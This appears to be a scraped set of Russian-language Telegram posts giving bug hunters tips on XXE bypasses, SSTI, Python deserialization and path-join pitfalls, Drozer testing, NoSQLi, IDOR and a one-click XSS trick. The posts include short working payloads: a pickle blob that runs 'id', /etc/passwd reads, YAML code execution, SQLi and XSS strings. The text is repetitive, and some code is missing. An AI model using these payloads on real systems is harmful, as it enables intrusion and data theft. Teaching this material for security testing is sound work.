Техники байпаса XXE: заметки багхантера 🤔
Средства защиты от XXE сильно различаются по уровню сложности, и многие из них можно обойти.
1️⃣ Байпас фильтров валидации входных данных
⚫️ UTF-16 вместо ASCII
Во многих приложениях используются простые блэклисты ключевых слов, которые можно забайпасить с помощью кодировки и обфускации.
Парсер XML по-прежнему будет корректно обрабатывать данные, но фильтры на основе ASCII не обнаружат вредоносный контент.
💡 Больше примеров кодировок XML и пограничных случаев — в райтапе "Evil XML with Two Encodings" Арсения Шароглазова
⚫️ HTML-entity кодирование
2️⃣ Параметрические сущности
Если приложение блокирует прямое объявление
3️⃣ XXE в нестандартных типах контента
⚫️ Изображения в формате SVG
⚫️ SOAP-эндпоинты
4️⃣ XInclude-атаки при ограничении использования DOCTYPE
Частая защита — просто вырезать
Средства защиты от XXE сильно различаются по уровню сложности, и многие из них можно обойти.
Во многих приложениях используются простые блэклисты ключевых слов, которые можно забайпасить с помощью кодировки и обфускации.
$ cat payload.xml | iconv-f UTF-8 -t UTF-16BE > utf16_payload.xml
Парсер XML по-прежнему будет корректно обрабатывать данные, но фильтры на основе ASCII не обнаружат вредоносный контент.
Если приложение блокирует прямое объявление
ENTITY, попробуй ввести её косвенно: подключить внешний DTD, а уже внутри него разместить пэйлоад.Частая защита — просто вырезать
DOCTYPE. Но если парсер поддерживает XInclude, это не спасает. XInclude позволяет подключать внешние ресурсы без DOCTYPE.Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👌6❤2
Error-based Server-Side Template Injection 🔥
В 2015 году James Kettle опубликовал исследование о Server-Side Template Injection (SSTI), которое описало классический вектор внедрения шаблонов на стороне сервера.
Дальше сообщество сосредоточилось на генерации пэйлоадов под разные языки и движки.
Ресёрч Влада Корчагина «Успешные ошибки: новые техники code injection и SSTI»(#1 в Top 10 web hacking techniques of 2025 ) предлагает другой подход — через эксплуатацию ошибок.
В результате сформировались две техники:
1️⃣ Error-Based
2️⃣ Boolean Error-Based Blind
Ключевые идеи:
🟠 Перенос методологии SQL-инъекций в шаблонные движки
🟠 Эксплуатация подробных сообщений об ошибках для утечки данных
🟠 Деление на ноль как булевый оракул
🟠
Погрузись подробнее в тему:
🔗 Successful Errors: New Code Injection and SSTI Techniques
🔗 Доклад Влада на OFFZONE
В 2015 году James Kettle опубликовал исследование о Server-Side Template Injection (SSTI), которое описало классический вектор внедрения шаблонов на стороне сервера.
Дальше сообщество сосредоточилось на генерации пэйлоадов под разные языки и движки.
Ресёрч Влада Корчагина «Успешные ошибки: новые техники code injection и SSTI»
В результате сформировались две техники:
Ключевые идеи:
(1/0).zxy.zxy — универсальный detection-payload (polyglot)Погрузись подробнее в тему:
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11❤2
Подводные камни Python: как ошибки разработчиков превращаются в уязвимости 🐍
Разработчики часто предполагают, что встроенные фичи автоматически выполняют очистку или обеспечивают безопасное поведение.
На практике многие из этих фич содержат нестандартные модели поведения, которыми можно злоупотреблять, превращая логические проблемы в уязвимости:
⚫️
⚫️
⚫️
⚫️
⚫️ Функция load библиотеки PyYAML (внешняя либа):
⚫️ Python3 class pollution (built-in): некорректное присвоение атрибутов может позволить изменять структуру классов или объектов
Пост вдохновлен докладом Алекса Брумена "Python Pitfalls: Turning Developer Mistakes into Vulnerabilities" (текстовая версия)💡
Разработчики часто предполагают, что встроенные фичи автоматически выполняют очистку или обеспечивают безопасное поведение.
На практике многие из этих фич содержат нестандартные модели поведения, которыми можно злоупотреблять, превращая логические проблемы в уязвимости:
os.path.join (built-in): если один из аргументов начинается с /, Python игнорирует предыдущие сегменты путиimport os
payload = "/etc/passwd"
file = os.path.join("/user/uploads/", payload)
with open(file, "r") as f:
print(f.read())
# выведет содержимое “/etc/passwd”
pathlib.joinpath (built-in): если какой-либо сегмент является абсолютным путём, он отбрасывает предыдущие части и продолжает работу с абсолютным путёмfrom pathlib import Path
payload = "/etc/passwd"
file = Path("/var/www/html").joinpath("files", payload)
with open(file, "r") as f:
print(f.read())
# выведет содержимое “/etc/passwd”
pickle.loads (built-in): pickle.loads() может выполнять произвольные объекты Pythonimport pickle, base64
payload = "gASVHQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAJpZJSFlFKULg=="
# Выполнить код при десериализации (системная команда ”id”)
file = pickle.loads(base64.b64decode(payload))
urllib.parse.urljoin (built-in): формирует итоговый URL, объединяя базовый URL с одним или несколькими компонентами URLfrom urllib.parse import urljoin
payload = "http://evil.com/"
print(urljoin("http://example.com/", payload))
# вывод: http://evil.com/
yaml.load() может выполнять произвольный Python-код, если ты контролируешь YAMLimport yaml
user_data = "!!python/object/apply:print ['pwned']"
result = yaml.load(user_data, Loader=yaml.Loader)
Пост вдохновлен докладом Алекса Брумена "Python Pitfalls: Turning Developer Mistakes into Vulnerabilities" (текстовая версия)
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤11❤🔥2👍2👎2🔥1
Разведка Android-приложений: Drozer и анализ версий 📱
Статический анализ — только половина работы. Многие баги проявляются только во время выполнения приложения или появляются между версиями.
Лови несколько кейсов, которые часто находят то, что пропускают стандартные тулзы🔽
1️⃣ Runtime-тестирование IPC через Drozer
Drozer позволяет напрямую взаимодействовать с компонентами Android-приложения: activities, services, broadcast, receivers, content providers.
После установки можно быстро проверить реальную поверхность атаки:
Дальше — интереснее. Например, можно попробовать запустить экспортированную дебаг activity:
Такие activity иногда обходят авторизацию, раскрывают внутренние данные, дают доступ к скрытым фичам приложения.
2️⃣ Content provider → SQL-инъекция
Content providers часто работают как база данных между приложениями. Если provider экспортирован, можно потестить пэйлоад для SQLi:
3️⃣ Broadcast injection
Некоторые приложения слушают системные broadcast-события. Если действие не защищено, его может вызвать любое приложение:
Так иногда удаётся триггерить фичи, которые разработчики считали внутренними.
4️⃣ Сравнение версий для анализа регрессий безопасности
Когда разработчики исправляют уязвимость, они часто закрывают конкретный кейс, а не весь класс проблемы.
Поэтому сравнение версий может показать:
✅ какие проверки добавили,
✅ какие дебаг фичи удалили,
✅ какие API появились.
Быстрый способ посмотреть изменения:
💡 Иногда разработчики случайно выкатывают дебаг фичи в прод, а в следующем релизе убирают их. Этот короткий промежуток между версиями — отличная возможность протестить функциональность, пока она существует.
Посты по теме:
🔗 Первичный анализ любого APK-файла: советы багхантеру
🔗 Упрощаем обработку приложений APK / XAPK / APKM / DEX / JAR / WAR с помощью BFScan
🔗 Реверс приложений на Flutter
Статический анализ — только половина работы. Многие баги проявляются только во время выполнения приложения или появляются между версиями.
Лови несколько кейсов, которые часто находят то, что пропускают стандартные тулзы
Drozer позволяет напрямую взаимодействовать с компонентами Android-приложения: activities, services, broadcast, receivers, content providers.
После установки можно быстро проверить реальную поверхность атаки:
run app.package.attacksurface com.target.app
Дальше — интереснее. Например, можно попробовать запустить экспортированную дебаг activity:
run app.activity.start --component com.target.app com.target.app.DebugActivity
Такие activity иногда обходят авторизацию, раскрывают внутренние данные, дают доступ к скрытым фичам приложения.
Content providers часто работают как база данных между приложениями. Если provider экспортирован, можно потестить пэйлоад для SQLi:
run app.provider.query content://com.target.app.provider/users --projection "* FROM users; --"
Некоторые приложения слушают системные broadcast-события. Если действие не защищено, его может вызвать любое приложение:
run app.broadcast.send --action com.target.app.PRIVILEGED_ACTION --extra string key value
Так иногда удаётся триггерить фичи, которые разработчики считали внутренними.
Когда разработчики исправляют уязвимость, они часто закрывают конкретный кейс, а не весь класс проблемы.
Поэтому сравнение версий может показать:
Быстрый способ посмотреть изменения:
apktool d target_v1.0.apk -o v1
apktool d target_v1.1.apk -o v2
diff -r v1/ v2/
Посты по теме:
🔗 Первичный анализ любого APK-файла: советы багхантеру
🔗 Упрощаем обработку приложений APK / XAPK / APKM / DEX / JAR / WAR с помощью BFScan
🔗 Реверс приложений на Flutter
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7👍1👨💻1
Эксплуатация NoSQLi с помощью массивов параметров 💨
Если приложение не принимает JSON и работает только с
Многие серверные либы автоматически преобразуют параметры вида:
в объект:
Таким образом, можно передавать NoSQL-операторы через обычные параметры формы🔥
Ключевое:
➡️ Парсер на сервере преобразует массивы в объекты
➡️ Ограничение по
➡️ NoSQL-операторы можно внедрять без JSON
Если приложение не принимает JSON и работает только с
application/x-www-form-urlencoded, это не защита от NoSQL-инъекций.Многие серверные либы автоматически преобразуют параметры вида:
username[$ne]=1
в объект:
{ username: { $ne: 1 } }Таким образом, можно передавать NoSQL-операторы через обычные параметры формы
Ключевое:
Content-Type не спасает от инъекцииPlease open Telegram to view this post
VIEW IN TELEGRAM
👍8❤2
8 недооценённых фич Burp Suite, которые экономят часы тестирования ⚡️
Большинство багхантеров ограничиваются использованием Proxy (Interceptor), Repeater и Intruder🥔
Но есть функции, которые реально ускоряют работу и помогают находить больше багов:
1️⃣ Macros → автоматизация рутины (полезно, когда токен меняется на каждый запрос)
2️⃣ Match & Replace → автоматическая подмена данных в запросах/ответах
3️⃣ Logger → продвинутый логгер поверх HTTP history (быстрый поиск аномалий)
4️⃣ Comparer → сравнение запросов и ответов
5️⃣ Find scripts → сбор всех JS-файлов и скрытых API
6️⃣ Send group in parallel → отправка запросов одновременно (особенно полезно при тестировании race condition)
7️⃣ Remove JS validation → обход фронтенд-валидации форм
8️⃣ Unhide hidden inputs → поиск скрытых параметров
Большинство багхантеров ограничиваются использованием Proxy (Interceptor), Repeater и Intruder
Но есть функции, которые реально ускоряют работу и помогают находить больше багов:
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤12👍9👏3🫡3
Second-Order (Stored) IDOR: заметки для багхантера 💡
Обычный IDOR срабатывает сразу: ты меняешь условный
Как это выглядит⤵️
Ты подсовываешь тот же айдишник жертвы в одном месте,
а доступ к данным происходит позже — через другой эндпоинт или фоновую джобу.
➡️ В момент инъекции всё выглядит легитимно
➡️ Эксплуатация происходит совсем в другом контексте
Атака — это всегда два шага:
1⃣ Seed (сохранение): инжектишь ID жертвы в безобидное поле: профиль, настройки, связанный ресурс. Сервер проверяет сессию и спокойно сохраняет данные.
2⃣ Trigger (исполнение): позже происходит асинхронное действие. Система берёт сохранённый ID из базы, слепо ему доверяет и выполняет операцию.
Почему такие баги часто дают высокий импакт:
⚫️ Сканеры почти не находят такие баги — здесь нужно понимать состояние приложения, бизнес-логику и отложенное выполнение
⚫️ Разработчики часто защищают только публичные API
⚫️ Внутренние джобы (генерация PDF, отправка писем и т.д.) считаются «безопасными»
⚫️ Проверки прав доступа на втором этапе просто отсутствуют
Где искать⏳
Ищи функционал приложения с асинхронной обработкой:
⚫️ Экспорты и отчёты: меняй ID аккаунта → запрашивай CSV/PDF → через время получай данные жертвы
⚫️ Webhooks и интеграции: подменяй ID workspace → при синхронизации (Slack, Jira) получай чужие данные
⚫️ Автоматические саппорт-боты: вставляй ID заказа жертвы → бот подтягивает детали из базы и показывает чужие данные
Что нужно❓
1⃣ Две учетки: атакующий (User A) и жертва (User B)
2⃣ Терпение: ввел данные → подождал выполнение задачи → проверил результат (почта, webhook и т.д.) → повторил
Обычный IDOR срабатывает сразу: ты меняешь условный
user_id=1 на user_id=2 в запросе — и сервер мгновенно отдаёт данные второго юзера. Second-order IDOR работает иначе — с «задержкой». Как это выглядит
Ты подсовываешь тот же айдишник жертвы в одном месте,
а доступ к данным происходит позже — через другой эндпоинт или фоновую джобу.
Атака — это всегда два шага:
Почему такие баги часто дают высокий импакт:
Где искать
Ищи функционал приложения с асинхронной обработкой:
Что нужно
Please open Telegram to view this post
VIEW IN TELEGRAM
❤8🔥4
В Chrome при нажатии на значок очистки (иконка ❌ для быстрой очистки поля) в 🔍
Если стилизовать элемент так, чтобы эта иконка покрывала нужную целевую область, на выходе получишь надёжный 1-click вектор эксплуатации XSS⤵️
<input type="search"> запускаются события onsearch и oninput Если стилизовать элемент так, чтобы эта иконка покрывала нужную целевую область, на выходе получишь надёжный 1-click вектор эксплуатации XSS
<h1>Click here</h1>
<input type=search value=x onsearch=alert('onsearch') oninput=alert('oninput') style=position:fixed;left:50%;top:50%;padding:0;width:10px;z-index:99;transform:scale(9999);opacity:0>
Please open Telegram to view this post
VIEW IN TELEGRAM
❤14🔥5